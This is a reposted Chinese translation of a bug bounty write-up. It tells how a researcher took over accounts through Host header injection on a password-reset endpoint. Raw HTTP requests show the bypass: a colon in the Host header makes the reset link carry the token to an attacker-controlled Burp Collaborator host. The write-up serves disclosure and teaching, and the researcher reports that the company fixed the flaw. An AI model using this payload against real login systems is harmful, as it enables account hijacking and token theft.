0023. 账户接管漏洞的有趣故事【转载】

0023. 账户接管漏洞的有趣故事【转载】

Deepanshu Rsec 2025-01-08 02:33

本文章仅用网络安全研究学习,请勿使用相关技术进行违法犯罪活动。

声明:本文搬运自国外互联网,如你是原作者,请联系我们!

标签:账户接管

大家好,我是 Deepanshu,来自印度的安全研究院。

祝大家一切顺利!今天,我想分享一个有趣的账户接管漏洞。

我收到了 hackerone.com 上的一个私人漏洞赏金计划的邀请,该计划的范围非常有限,而且是一个已有 4 年历史的计划,最初它看起来很安全,但我还是想尝试一下。

我立即跳转到检查公司主网站的“忘记密码”功能。

我在“忘记密码”字段中输入了我的电子邮件并拦截了请求。

POST /auth/realms/Redacted/login-actions/reset-credentials?session_code=AbcdiQqKwDBsJcdIjZpAFW3&client_id=account&tab_id=Abcdii7y9i3qwXs HTTP/1.1
Host: login.redacted.com
Cookie: AUTH_SESSION_ID=fc59cdd34026abcd; KC_RESTART=AbcdiSldUIiiaXNFs
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 34
Origin: https://login.redcated.com
Referer: https://login.redacted.com/auth/realms/redacted/login-actions/reset-credentials?client_id=account&tab_id=Abcdi3qwXs
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Te: trailers
Connection: close

username=testemail%40gmail.com

正如你所看到的,在忘记密码请求,我脑海中首先想到的是测试 Host 标头注入。 

我在”Host”标头中附加了我的 
burp collaborator Url 
,如下所示(
login.redacted.com为原Host值):

Host: login.redacted.com.BurpcollaboratorUrl.com

我发送了请求,但什么也没发生,它不起作用。 

尝试添加”X-forwarded-host”等标头,但没有起作用。 

那么现在怎么办?让我们换个角度思考。

经过多次尝试,我发现如果 Host 标头不是以”login.company.com”结尾,则在 Host 标头中添加任何内容都将不起作用,正如您之前看到的,我在末尾附加了我的 
burp collaborator Url
,但是它不起作用。

因此现在我尝试在 Host 开头时使用 burp collaborator Link:

Host: burpcollaboratorUrl.com.login.redacted.com

尝试这个,我得到了
我的电子邮件的
忘记密码链接,它是这样的:

https://abc.burpcollaborator.login.redacted.com/auth/realms/login-actions/action-token?key=ey....

你可以在这里可以看到,
密码重置链接中包含
 Burp Collaborator URL 与令牌,但如果你仔细观察,服务器删除了
Burp Collaborator 
URL
中的”.com”,并在其后附加了公司域名。

从技术上讲,这使其成为未知主机,受害者点击它时将看到”无法访问站点”错误。
因此基本上,作为攻击者,我们无法通过 Burp 服务器的 HTTP pingback获取
重置密码令牌

为了使请求正常工作并窃取令牌,我们需要如下密码重置链接:

https://abc.burpcollaborator.com/auth/realms/login-actions/action-token?key=ey....

最后,我尝试在Host中添加一个冒号(:),如下所示:

Host: burpcollaboratorurl.com:login.redacted.com

最终请求现在看起来像这样:

POST /auth/realms/redacted/login-actions/reset-credentials?session_code=Jabcde HTTP/1.1
Host: abcd.burpcollaborator.com:login.redacted.com
Cookie: AUTH_SESSION_ID=abcdfc59cdd34026.keycloak-482-keycloak-aaalzz4; Lpaa1sXBBnfZiwyvqXMPW2E5/ikwW6fuTZCg+XlvBMY9yeptovpOaJM2xmkK0=; _ga=GA1.2.1343917884.1641975182; 
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 34
Origin: https://login.redacted.com
Referer: https://login.redacted.com/auth/realms/login-actions/reset-credentials
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Te: trailers
Connection: close

username=testemail%40gmail.com

发送请求,然后 BoooM! 

这次我绕过了它,服务器按照我们想要的方式发送了链接。

现在您可以看到 Burp 协作者 Url 可以工作并且附加了一个令牌。

单击它请求Burp C
ollaborator
,并且我得到了 HTTP pingback。

成功获取重置令牌并完全能够接管受害者账户。 现在您可能想知道为什么以及如何在主机标头中使用该冒号”:”标记。好吧,这是公司内部团队的解释。

公司在一周内修复了该问题并授予了我丰厚的赏金。

我希望你们都喜欢这篇文章,到那时再见,直到下一篇文章👋。

Cheers!